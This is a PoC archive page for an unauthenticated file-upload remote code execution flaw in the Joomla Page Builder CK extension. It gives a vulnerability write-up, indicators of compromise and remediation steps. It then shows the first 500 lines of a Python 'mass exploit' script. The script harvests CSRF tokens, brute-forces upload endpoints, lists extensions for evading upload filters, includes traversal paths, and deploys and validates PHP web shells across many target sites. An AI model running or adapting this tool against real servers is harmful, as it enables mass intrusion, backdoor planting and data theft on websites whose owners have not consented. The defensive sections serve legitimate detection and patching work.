PoC Archive PoC Archive
Critical CVE-2026-56290 unpatched

Joomla Page Builder CK Unauthenticated Arbitrary File Upload RCE — CVE-2026-56290

by shinthink — [github.com/shinthink](https://github.com/shinthink) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-56290
Category
web
Affected product
Page Builder CK (com_pagebuilderck) — Joomla extension
Affected versions
3.1.1 and below (confirmed); per source repository extended range up to 3.5.10 and below is treated as potentially vulnerable; versions above 3.5.10 possibly patched
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07-04
Author / Researchershinthink — github.com/shinthink
CVE / AdvisoryCVE-2026-56290
Categoryweb
SeverityCritical
CVSS Score9.8 (per source repository, for the unauthenticated file upload vector)
StatusPoC
Tagsjoomla, page-builder-ck, com_pagebuilderck, file-upload, unauth-rce, csrf, cms
RelatedN/A

Affected Target

FieldValue
Software / SystemPage Builder CK (com_pagebuilderck) — Joomla extension
Versions Affected3.1.1 and below (confirmed); per source repository extended range up to 3.5.10 and below is treated as potentially vulnerable; versions above 3.5.10 possibly patched
Language / PlatformPHP (target extension); PoC client in Python 3.8+
Authentication RequiredNo — the browse.ajaxAddPicture controller performs no authentication check; only a publicly-obtainable CSRF token is required
Network Access RequiredYes

Summary

The Joomla extension Page Builder CK exposes a controller method, browse.ajaxAddPicture, that accepts file uploads with a user-controlled destination path parameter (path) that is only passed through trim() — no whitelist, extension check, or directory-traversal validation, and no authentication gate. Combined with the fact that Joomla’s CSRF token is present and readable on every page (including the public homepage), an unauthenticated attacker can harvest a valid token and upload a PHP web shell into a web-accessible extension directory, achieving remote code execution. The PoC is a mass-exploitation/validation framework that performs reconnaissance, CSRF harvesting, endpoint/extension-bypass brute-forcing, shell deployment with token-based validation, and automatic cleanup.


Vulnerability Details

Root Cause

The browse.php controller’s ajaxAddPicture() method reads an uploaded file and a path parameter from user input and writes the file to that path without validating the destination or requiring authentication:

1
2
3
4
5
6
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // user-controlled file
    $path  = trim($input->get('path', ''));       // user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

Joomla’s CSRF token, while present, does not function as an authentication control here — it is a hex32 hidden-input value readable from any page a client can fetch (homepage, login, registration, contact form, or admin login), so an attacker can harvest it without any credentials before making the upload request.

Attack Vector

  1. Fingerprint the target as Joomla (HTML generator tag / structural markers, with an admin-panel probe fallback) and detect the Page Builder CK extension (HTML indicators or direct probes of known PBCK asset/manifest paths), extracting the installed version where possible.
  2. Harvest a CSRF token by fetching one of several pages that always embed Joomla’s token (home, login, registration, contact, admin login) and extracting the name="<hex32>" value="1" hidden input or the "csrf.token":"<hex32>" JSON marker.
  3. Discover the working upload endpoint/parameters via a tiered brute force: task=browse.ajaxAddPicture with file-parameter name file and folder-parameter name path, POSTing to index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{csrf_token}=1, targeting known-writable Page Builder CK / Joomla directories (e.g. media/com_pagebuilderck/gfonts/).
  4. Upload a self-contained PHP uploader shell (no exec/system/eval required for the initial payload) using an extension that survives the extension’s safety filter — trying php/pht/phar first, then case-juggled and double-extension variants if blocked.
  5. Fetch the uploaded shell URL and confirm a unique validation token appears in the response, proving PHP execution rather than a static file being served.
  6. Optionally use the shell’s own upload form (POST f=@file) to stage further tooling, then self-destruct it via GET ?cleanup=1.

Impact

An unauthenticated remote attacker can achieve arbitrary PHP code execution on any Joomla site running a vulnerable Page Builder CK version, leading to full web server compromise, defacement, data theft from the Joomla database, and use of the compromised host as a pivot point.


Environment / Lab Setup

Target:   Joomla CMS with Page Builder CK (com_pagebuilderck) <= 3.5.10 installed and web-accessible.
Attacker: Python 3.8+, `requests` and `urllib3` (see requirements.txt); network reachability to the target's HTTP(S) port.

Proof of Concept

PoC Script

See cve_2026_56290.py in this folder.

1
2
3
4
5
pip install -r requirements.txt

python cve_2026_56290.py -t https://target.com

python cve_2026_56290.py -f targets.txt -o results.txt -v

The script performs Joomla/PBCK detection, CSRF token harvesting, endpoint discovery, and PHP-shell deployment with extension-filter bypass, writing live per-target results to a TXT file and a structured JSON report at the end. By default, deployed shells are validated with a unique token and then self-destructed (--no-cleanup leaves them in place).


Detection & Indicators of Compromise

POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&<hex32>=1
  multipart/form-data; name="file"; filename="pbck_<random>.php" (or case-juggled/double extension)
  form field: path=media/com_pagebuilderck/gfonts/ (or other writable dir)

GET /media/com_pagebuilderck/gfonts/pbck_<random>.php   -> 200, PHP output
GET /media/com_pagebuilderck/gfonts/pbck_<random>.php?cleanup=1  -> "CLEANED"

Signs of compromise:

  • Unexpected .php, .pht, .phar, .phtml, or oddly-cased/double-extension files inside media/com_pagebuilderck/*, images/*, tmp/, cache/, or administrator/cache|logs/.
  • Requests to task=browse.ajaxAddPicture (or similar ajax.upload/file.upload task names) from IPs with no prior authenticated session.
  • Files whose content includes a bare move_uploaded_file uploader stub or an unexplained cleanup/self-delete routine triggered by a ?cleanup=1 query parameter.

Remediation

ActionDetail
Primary fixUpgrade Page Builder CK to the latest version from the Joomla Extensions Directory; no vendor patch version/commit confirmed as of 2026-07-05 in the source repository beyond “possibly patched above 3.5.10”.
Interim mitigationBlock unauthenticated access to option=com_pagebuilderck&task=browse.ajaxAddPicture at the web server/WAF layer; disable PHP execution in media/ and other writable directories via .htaccess/nginx location rules; audit writable directories for unexpected files.

References


Notes

Mirrored from https://github.com/shinthink/pbck-exploit on 2026-07-05. Skipped assets/banner.png and assets/banner.svg (cosmetic README branding assets, not part of the PoC itself).

cve_2026_56290.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3
"""
██████╗ ██████╗  ██████╗██╗  ██╗    ███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔══██╗██╔══██╗██╔════╝██║ ██╔╝    ██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
██████╔╝██████╔╝██║     █████╔╝     █████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔═══╝ ██╔══██╗██║     ██╔═██╗     ██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
██║     ██████╔╝╚██████╗██║  ██╗    ███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚═╝     ╚═════╝  ╚═════╝╚═╝  ╚═╝    ╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

    CVE-2026-56290 — Page Builder CK for Joomla
    Unauthenticated Arbitrary File Upload → RCE
    Mass Exploit + Live TXT Output + Validated Backdoor Paths
"""

import requests
import re
import sys
import os
import json
import time
import random
import hashlib
import argparse
import threading
import logging
import warnings
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from typing import Optional
from urllib.parse import urljoin, urlparse
from datetime import datetime

# Shut up urllib3 SSL noise
warnings.filterwarnings("ignore", message="Unverified HTTPS request")
logging.getLogger("urllib3").setLevel(logging.ERROR)
logging.captureWarnings(True)

# =============================================================================
# Config
# =============================================================================

TIMEOUT = 15
MAX_WORKERS = 20
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0",
]

# Exact endpoint discovered from source code analysis:
#   Controller: browse, Method: ajaxAddPicture
#   File param: file, Path param: path
# These are prioritized at index 0 in discovery.
TASK_CANDIDATES = [
    "browse.ajaxAddPicture",   # ← CONFIRMED: the actual upload endpoint
    "ajax.upload", "ajax.uploadFile", "file.upload", "upload.file", "image.upload",
    "ajax.uploadfile", "media.upload", "upload.ajax", "files.upload", "upload",
]

FILE_PARAM_NAMES = [
    "file",     # ← CONFIRMED: $input->files->get('file', ...)
    "Filedata", "image", "upload",
]

FOLDER_PARAM_NAMES = [
    "path",     # ← CONFIRMED: $input->get('path', ...)
    "folder", "dir", "upload_path", "uploadfolder",
]

# Destination paths — where the uploaded file actually lands
# Path param is USER-CONTROLLED, only trim() applied
# Can write ANYWHERE writable by web server
DEST_PATHS = [
    # === PBCK media (GUARANTEED writable — extension's own folders) ===
    "media/com_pagebuilderck/gfonts/",       # in-the-wild shell: bhup.php
    "media/com_pagebuilderck/",
    "media/com_pagebuilderck/fonts/",
    "media/com_pagebuilderck/css/",
    "media/com_pagebuilderck/js/",
    "media/com_pagebuilderck/assets/",
    "media/com_pagebuilderck/images/",
    # === Joomla writable dirs ===
    "media/",
    "images/",
    "images/stories/",
    "images/pagebuilderck/",
    "images/banners/",
    "tmp/",
    "cache/",
    "logs/",
    "administrator/cache/",
    "administrator/logs/",
    "administrator/components/com_pagebuilderck/",
    # === Traversal TO writable dirs (no overwrite) ===
    "../tmp/",
    "../media/",
    "../administrator/cache/",
    "../administrator/logs/",
]

# Extension bypass list — ALL pass CKFile::makeSafe()
SHELL_EXTENSIONS_FAST = ["php", "PHP", "pht", "phar"]
SHELL_EXTENSIONS_WAF = [
    # Case juggling
    "Php", "pHp", "PhP", "pHtmL", "PhTmL", "PhAr", "pHtMl",
    "PhTml", "Pht", "PHTML", "PhtMl", "PHtmL", "sHtMl",
    "pHt", "pHT", "PhT", "PHT",
    # Numbered
    "php3", "php4", "php5", "php6", "php7", "php8",
    "PHP3", "PHP4", "PHP5", "PHP6", "PHP7", "PHP8",
    "pHp5", "Php7", "PhP5", "PhP7",
    # Alternative handlers
    "phtml", "phtm", "shtml", "phar", "inc",
    "Phtml", "Shtml", "Inc", "pHtml",
    "phps", "PHPS", "Phps",
    # Double extensions
    "php.jpg", "jpg.php", "php.png", "png.php", "php.gif",
    "Php.jpg", "pHp.png", "PHP.gif", "PhP.jpg",
    "php.jpeg", "jpeg.php", "php.txt",
    # Windows-specific
    "php.", "PHP.", "php. ",
    "php.SWF", "PHP.FLV",
]


# =============================================================================
# URL Normalizer — auto-prepend https:// or http://
# =============================================================================

def normalize_url(raw: str) -> str:
    """
    Normalize target URL — strip whitespace, auto-prepend protocol.
    Tries HTTPS first, falls back to HTTP.
    """
    raw = raw.strip().rstrip("/")

    # Already has protocol
    if raw.startswith("http://") or raw.startswith("https://"):
        return raw

    # No protocol — probe HTTPS first
    print(f"  [*] {raw} — probing HTTPS...")

    # Quick HEAD/GET check for HTTPS
    for proto in ("https://", "http://"):
        test_url = f"{proto}{raw}"
        try:
            r = requests.get(test_url, timeout=5, allow_redirects=True, verify=False)
            print(f"  [+] {raw}{proto}{raw} (HTTP {r.status_code})")
            return test_url
        except (requests.ConnectionError, requests.Timeout, requests.RequestException):
            continue

    # Both failed — stik with HTTPS as default
    print(f"  [!] {raw} — unreachable, defaulting to https://")
    return f"https://{raw}"


# =============================================================================
# Data
# =============================================================================

@dataclass
class TargetResult:
    url: str
    status: str = "pending"
    joomla_detected: bool = False
    joomla_version: Optional[str] = None
    component_detected: bool = False
    component_version: Optional[str] = None
    vulnerable_version: bool = False
    csrf_token: Optional[str] = None
    csrf_token_name: Optional[str] = None
    discovered_endpoint: Optional[str] = None
    discovered_file_param: Optional[str] = None
    discovered_folder_param: Optional[str] = None
    shell_url: Optional[str] = None
    shell_path: Optional[str] = None
    shell_token: Optional[str] = None
    rce_output: Optional[str] = None
    whoami: Optional[str] = None
    uname: Optional[str] = None
    php_version: Optional[str] = None
    error_msg: Optional[str] = None
    elapsed: float = 0.0


# =============================================================================
# Helpers
# =============================================================================

def gen_token(length: int = 12) -> str:
    return hashlib.sha256(os.urandom(16)).hexdigest()[:length]

def b64(s: str) -> str:
    import base64
    return base64.b64encode(s.encode()).decode()

def _b64url(s: str) -> str:
    import base64
    return base64.b64encode(s.encode()).decode()


# =============================================================================
# Thread-safe Live TXT Writer
# =============================================================================

class LiveWriter:
    """Write hasil exploitasi langsung ke TXT file — real-time, thread-safe."""

    def __init__(self, filepath: str):
        self.filepath = filepath
        self.lock = threading.Lock()
        self._init_file()

    def _init_file(self):
        with open(self.filepath, "w") as f:
            f.write(f"# CVE-2026-56290 — Page Builder CK Mass Exploit\n")
            f.write(f"# Scan started: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"# {'='*70}\n")
            f.write(f"# FORMAT: STATUS | URL | SHELL_URL | TOKEN | RCE_OUTPUT | VERSION | ENDPOINT\n")
            f.write(f"# {'='*70}\n\n")

    def write(self, result: TargetResult):
        with self.lock:
            with open(self.filepath, "a") as f:
                timestamp = datetime.now().strftime("%H:%M:%S")

                if result.status == "rce_confirmed":
                    line = (
                        f"[VULN] [{timestamp}] {result.url}\n"
                        f"  Shell     : {result.shell_url}\n"
                        f"  Usage     : POST f=@file | ?cleanup=1\n"
                        f"  RCE       : {result.rce_output}\n"
                        f"  Version   : {result.component_version or 'unknown'}\n"
                        f"  Endpoint  : task={result.discovered_endpoint} | file={result.discovered_file_param} | folder={result.discovered_folder_param}\n"
                        f"  Elapsed   : {result.elapsed:.1f}s\n\n"
                    )
                elif result.status == "rce_failed":
                    line = (
                        f"[UPLOAD] [{timestamp}] {result.url}\n"
                        f"  Status    : Upload sukses tapi PHP tidak eksekusi (WAF/hardened .htaccess?)\n"
                        f"  Version   : {result.component_version or 'unknown'}\n"
                        f"  Endpoint  : task={result.discovered_endpoint} | file={result.discovered_file_param} | folder={result.discovered_folder_param}\n"
                        f"  Elapsed   : {result.elapsed:.1f}s\n\n"
                    )
                elif result.status == "patched":
                    line = (
                        f"[PATCHED] [{timestamp}] {result.url}\n"
                        f"  Version   : {result.component_version}\n"
                        f"  Elapsed   : {result.elapsed:.1f}s\n\n"
                    )
                elif result.status == "endpoint_not_found":
                    line = (
                        f"[NO_ENDP] [{timestamp}] {result.url}\n"
                        f"  Status    : Endpoint not discovered — need manual diff\n"
                        f"  Version   : {result.component_version or 'unknown'}\n"
                        f"  Elapsed   : {result.elapsed:.1f}s\n\n"
                    )
                else:
                    line = (
                        f"[{result.status.upper()}] [{timestamp}] {result.url}\n"
                        f"  Error     : {result.error_msg or 'N/A'}\n"
                        f"  Elapsed   : {result.elapsed:.1f}s\n\n"
                    )

                f.write(line)
                f.flush()
                os.fsync(f.fileno())

    def write_summary(self, results: list):
        with self.lock:
            with open(self.filepath, "a") as f:
                total = len(results)
                vuln = sum(1 for r in results if r.status == "rce_confirmed")
                patched = sum(1 for r in results if r.status == "patched")
                no_endpoint = sum(1 for r in results if r.status == "endpoint_not_found")
                upload_only = sum(1 for r in results if r.status == "rce_failed")
                others = total - vuln - patched - no_endpoint - upload_only

                f.write(f"\n# {'='*70}\n")
                f.write(f"# SCAN SUMMARY\n")
                f.write(f"# Scan finished: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
                f.write(f"# Total   : {total}\n")
                f.write(f"# VULN    : {vuln} (RCE Confirmed)\n")
                f.write(f"# UPLOAD  : {upload_only} (Upload OK, RCE blocked)\n")
                f.write(f"# PATCHED : {patched}\n")
                f.write(f"# NO_ENDP : {no_endpoint} (need manual diff)\n")
                f.write(f"# OTHER   : {others}\n")
                f.write(f"# {'='*70}\n")

                if vuln > 0:
                    f.write(f"\n# VALIDATED SHELLS (token-guarded, access with header):\n")
                    for r in results:
                        if r.status == "rce_confirmed" and r.shell_url:
                            f.write(f"# {r.url}\n")
                            f.write(f"curl -H 'X-PBCK-TOKEN: {r.shell_token}' '{r.shell_url}'\n\n")


# =============================================================================
# Scanner
# =============================================================================

class Scanner:

    def __init__(self, session):
        self.sess = session

    def detect_joomla(self, url: str) -> tuple:
        """
        Accurate Joomla detection.
        Phase 1: HTML fingerprints (fast).
        Phase 2: Admin panel probe (fallback — catches stripped/minimal installs).
        """
        try:
            r = self.sess.get(url, timeout=TIMEOUT)
        except requests.RequestException:
            return False, None

        html = r.text
        joomla_evidence = 0
        version = None

        # ---- Phase 1: HTML fingerprints ----

        # 1a. Generator meta with "Joomla!" — definitive, instant pass
        #     Handles: Joomla! 4.4.1  /  Joomla! - Open Source... (no version)
        gen = re.search(
            r'<meta[^>]+name=["\']generator["\'][^>]+content=["\']Joomla!?',
            html, re.IGNORECASE,
        )
        if gen:
            v = re.search(r'Joomla!?\s*([\d.]+)', html, re.IGNORECASE)
            version = v.group(1) if v else None
            return True, version  # definitive — generator meta is unique to Joomla

        # 1c. Joomla-specific structural elements
        structural = [
            '<jdoc:include',
            'class="joomla-',
            '/media/jui/',
            '/media/system/js/core',
            'Joomla!',
            'Joomla',
            'joomla-script-options',     # Joomla 4/5 unique marker
            '"csrf.token"',               # Joomla 4/5 CSRF in JSON
        ]
        struct_hits = sum(1 for s in structural if s in html)
        if struct_hits >= 2:
            joomla_evidence += 3
        elif struct_hits >= 1:
            joomla_evidence += 1

        # 1d. Joomla path fingerprints
        j_paths = ['/components/com_', '/modules/mod_', '/plugins/system/']
        path_hits = sum(1 for p in j_paths if p in html)
        if path_hits >= 2:
            joomla_evidence += 2
        elif path_hits == 1:
            joomla_evidence += 1

        # 1e. Joomla session cookie
        cookie_names = [c.name.lower() for c in r.cookies]
        if any(n.startswith(hex(0)) for n in cookie_names):
            joomla_evidence += 2
        if any('joomla' in n for n in cookie_names):
            joomla_evidence += 2

        # csrf.token in JSON = definitive Joomla 4/5
        if '"csrf.token"' in html:
            return True, version

        if joomla_evidence >= 3:
            return True, version

        # ---- Phase 2: Admin panel probe (fallback) ----
        # Many sites override generator tag (Gantry, custom templates)
        # Admin login page has unmistakeable Joomla fingerprints
        try:
            admin_url = urljoin(url, "/administrator/")
            r_admin = self.sess.get(admin_url, timeout=TIMEOUT, allow_redirects=True)
            admin_html = r_admin.text

            admin_markers = [
                'name="username"',           # Joomla admin login field
                'mod-login-',                # Joomla admin login module class
                '/administrator/templates/', # Admin template path
                'Joomla!',                   # Usually present in admin
                'Joomla',                    # Case-insensitive fallback
                'mod_login',                 # Joomla admin login module
                'login-form',                # Admin login form ID
            ]
            admin_hits = sum(1 for m in admin_markers if m in admin_html)

            # Joomla admin page ALWAYS has username field + admin template path
            if 'name="username"' in admin_html and 'administrator/templates/' in admin_html:
                return True, version

            if admin_hits >= 4:
                return True, version

        except requests.RequestException:
            pass

        return False, None

    def detect_pbck(self, url: str) -> tuple:
        """
        Accurate PageBuilderCK detection — probe paths directly if HTML is silent.
        """
        try:
            r = self.sess.get(url, timeout=TIMEOUT)
        except requests.RequestException:
            return False, None

        html = r.text
        html_lower = html.lower()

        # Strong indicators — full path strings unique to this extension
        strong = [
            "com_pagebuilderck",
            "/pagebuilderck/",
            "pagebuilder_ck",
            "/media/com_pagebuilderck",
        ]

        found_strong = any(kw in html_lower for kw in strong)

        # Weak indicator — only with confirmation
        has_weak = "pagebuilderck" in html_lower
        confirming = [
            "pbck_",
            "pagebuilderck.css",
            "pagebuilderck.js",
            "/media/com_pagebuilderck",
        ]
        found_weak = has_weak and any(c in html_lower for c in confirming)

        version = None

        if found_strong or found_weak:
            # Try extract version from HTML
            for pat in [
                r'pagebuilderck[/"][^vV]*[vV]?(\d+\.\d+\.\d+)',
                r'pagebuilder[_]?ck[^0-9]*(\d+\.\d+\.\d+)',
                r'com_pagebuilderck[/"][^v]*v?(\d+\.\d+\.\d+)',
            ]:
                m = re.search(pat, html, re.IGNORECASE)
                if m:
                    version = m.group(1)
                    break

        # ---- Direct path probes (fallback — catches sites where PBCK isn't on homepage) ----
        # Probe known PBCK files. If any return 200, PBCK is installed.
        pbck_probes = [
            "/media/com_pagebuilderck/css/pagebuilderck.css",
            "/media/com_pagebuilderck/js/pagebuilderck.js",
            "/components/com_pagebuilderck/views/page/tmpl/default.php",
            "/administrator/manifests/files/com_pagebuilderck.xml",
        ]

        any_probe_hit = False
        for probe_path in pbck_probes:
            try:
                r2 = self.sess.head(urljoin(url, probe_path), timeout=TIMEOUT, allow_redirects=False)
                if r2.status_code == 200:
                    any_probe_hit = True
                    # manifest XML → extract version
                    if 'manifest' in probe_path and version is None:
                        try:
                            r3 = self.sess.get(urljoin(url, probe_path), timeout=TIMEOUT)
                            m = re.search(r'<version>([\d.]+)</version>', r3.text)
                            if m:
                                version = m.group(1)
                        except requests.RequestException:
                            pass
                    break
            except requests.RequestException:
                continue

        if not found_strong and not found_weak and not any_probe_hit:
            return False, None

        return True, version

    def is_vulnerable_version(self, version: Optional[str]) -> bool:
        if version is None:
            return True
        try:
            parts = [int(x) for x in version.split(".")]
            while len(parts) < 3:
                parts.append(0)
            mj, mn, pt = parts[0], parts[1], parts[2]
            if mj != 3:
                return mj < 3
            if mn <= 1 and pt <= 1:
                return True
            if mn <= 4 and pt <= 10:
                return True
            if mn <= 5 and pt <= 10:
Showing 500 of 1173 lines View full file on GitHub →